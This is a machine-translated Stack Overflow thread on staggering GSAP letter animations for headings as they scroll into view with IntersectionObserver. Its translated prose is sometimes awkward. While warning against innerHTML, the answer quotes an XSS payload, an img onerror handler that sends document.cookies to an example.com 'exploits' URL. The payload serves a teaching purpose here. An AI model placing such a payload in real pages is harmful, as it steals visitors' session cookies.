我正在使用IntersectionObserver动画每个h1上的滚动。正如您在片段中看到的那样,问题是每个h1每次都会触发动画。这意味着交叉h1的每个新动画都需要等待前面的动画完成,其结果基本上是对每个新entry.target的一种增量延迟。这不是我想要的。我试图在不观察anim-text之前和之后删除entry.target类,但是它没有工作。我认为问题在//文本拆分部分的forEach循环中,但是我的所有努力都没有解决这个问题。
提前感谢您的帮助!
const titles = document.querySelectorAll("h1");
const titlesOptions = {
root: null,
threshold: 1,
rootMargin: "0px 0px -5% 0px"
};
const titlesObserver = new IntersectionObserver(function(
entries,
titlesObserver
) {
entries.forEach(entry => {
if (!entry.isIntersecting) {
return;
} else {
entry.target.classList.add("anim-text");
// TEXT SPLITTING
const animTexts = document.querySelectorAll(".anim-text");
animTexts.forEach(text => {
const strText = text.textContent;
const splitText = strText.split("");
text.textContent = "";
splitText.forEach(item => {
text.innerHTML += "<span>" + item + "</span>";
});
});
// END TEXT SPLITTING
// TITLE ANIMATION
const charTl = gsap.timeline();
charTl.set(entry.target, { opacity: 1 }).from(".anim-text span", {
opacity: 0,
x: 40,
stagger: 0.1
});
titlesObserver.unobserve(entry.target);
// END TITLE ANIMATION
}
});
},
titlesOptions);
titles.forEach(title => {
titlesObserver.observe(title);
});* {
color: white;
padding: 0;
margin: 0;
}
.top {
display: flex;
justify-content: center;
align-items: center;
font-size: 2rem;
height: 100vh;
width: 100%;
background-color: #279AF1;
}
h1 {
opacity: 0;
font-size: 4rem;
}
section {
padding: 2em;
height: 100vh;
}
.sec-1 {
background-color: #EA526F;
}
.sec-2 {
background-color: #23B5D3;
}
.sec-3 {
background-color: #F9C80E;
}
.sec-4 {
background-color: #662E9B;
}<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<div class="top">Scroll Down</div>
<section class="sec-1">
<h1>FIRST</h1>
</section>
<section class="sec-2">
<h1>SECOND</h1>
</section>
<section class="sec-3">
<h1>THIRD</h1>
</section>
<section class="sec-4">
<h1>FOURTH</h1>
</section>
发布于 2020-03-22 17:57:56
让我们在这里简化一下,因为您显示的代码太多了。另外,你做一些事情的方式有点奇怪,所以也有一些提示。
if (...) { return } else ...,它不需要else的作用域:函数返回,或者我们继续。与其检查“不相交”然后返回,不如检查插入段,然后运行。使用+使用字符串组合的"a" + b + "c",而是使用`a${b}c`。不再使用+,不再有与使用.innerHTML赋值的字符串.innerHTML相关的bug:这是非常危险的,特别是如果其他人的脚本将您的标题更新为像<img src="fail.jpg" onerror="fetch('http://example.com/exploits/send?data='+JSON.stringify(document.cookies)">之类的字面HTML代码。永远不要使用innerHTML,使用普通的DOM函数(createElement、appendChild等)。const thing = arrow function而不需要this保存:只需使这些正常函数生效,并从提升(所有正常函数在任何代码实际运行之前都绑定到作用域).anim-text span元素。包括你已经处理过的标题。因此,当第二个滚动到视图中时,您将在第一个和第二个标题中选择所有的span,然后交错地动画它们的字母。相反,您只想在当前标题中错开字母,因此给它们一个id,然后使用#headingid span查询选择。然而,尽管7听起来很像修复程序,但由于现代文本的工作原理,这里仍然存在一个潜在的缺陷:由于连接,无法保证一个单词看起来与“组成它的字母的集合”相同。例如,如果您使用的字体具有将实际字符串=>转换为单个字形⇒ (就像几个编程字体所做的那样)的绑定,那么您的代码就会做错误的事情。
但这不一定是现在要解决的问题,更重要的是需要注意的事情。您的代码并不是通用的,但可能对您的目的来说已经足够好了。
因此,让我们重写一下您的代码,丢弃那些与问题无关的部分,当然,最重要的是,修复一些内容:
function revealEntry(h1) {
const text = h1.textContent;
h1.textContent = "";
text.split(``).forEach(part => {
const span = document.createElement('span');
span.textContent = part;
h1.appendChild(span);
});
// THIS IS THE ACTUAL FIX: instead of selecting _all_ spans
// inside _all_ headings with .anim-text, we *only* select
// the spans in _this_ heading:
const textSpans = `#${h1.id} span`;
const to = { opacity: 1 };
const from = { opacity: 0, x: -40, stagger: 1 };
gsap.timeline().set(h1, to).from(textSpans, from);
}
function watchHeadings(entries, observer) {
entries.forEach(entry => {
if (entry.isIntersecting) {
const h1 = entry.target;
observer.unobserve(h1);
revealEntry(h1);
}
});
};
const observer = new IntersectionObserver(watchHeadings);
const headings = document.querySelectorAll("h1");
headings.forEach(h1 => observer.observe(h1));h1 {
opacity: 0;
font-size: 1rem;
}<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<h1 id="a">FIRST</h1>
<h1 id="b">SECOND</h1>
<h1 id="c">THIRD</h1>
<h1 id="d">FOURTH</h1>
https://stackoverflow.com/questions/60795405
复制相似问题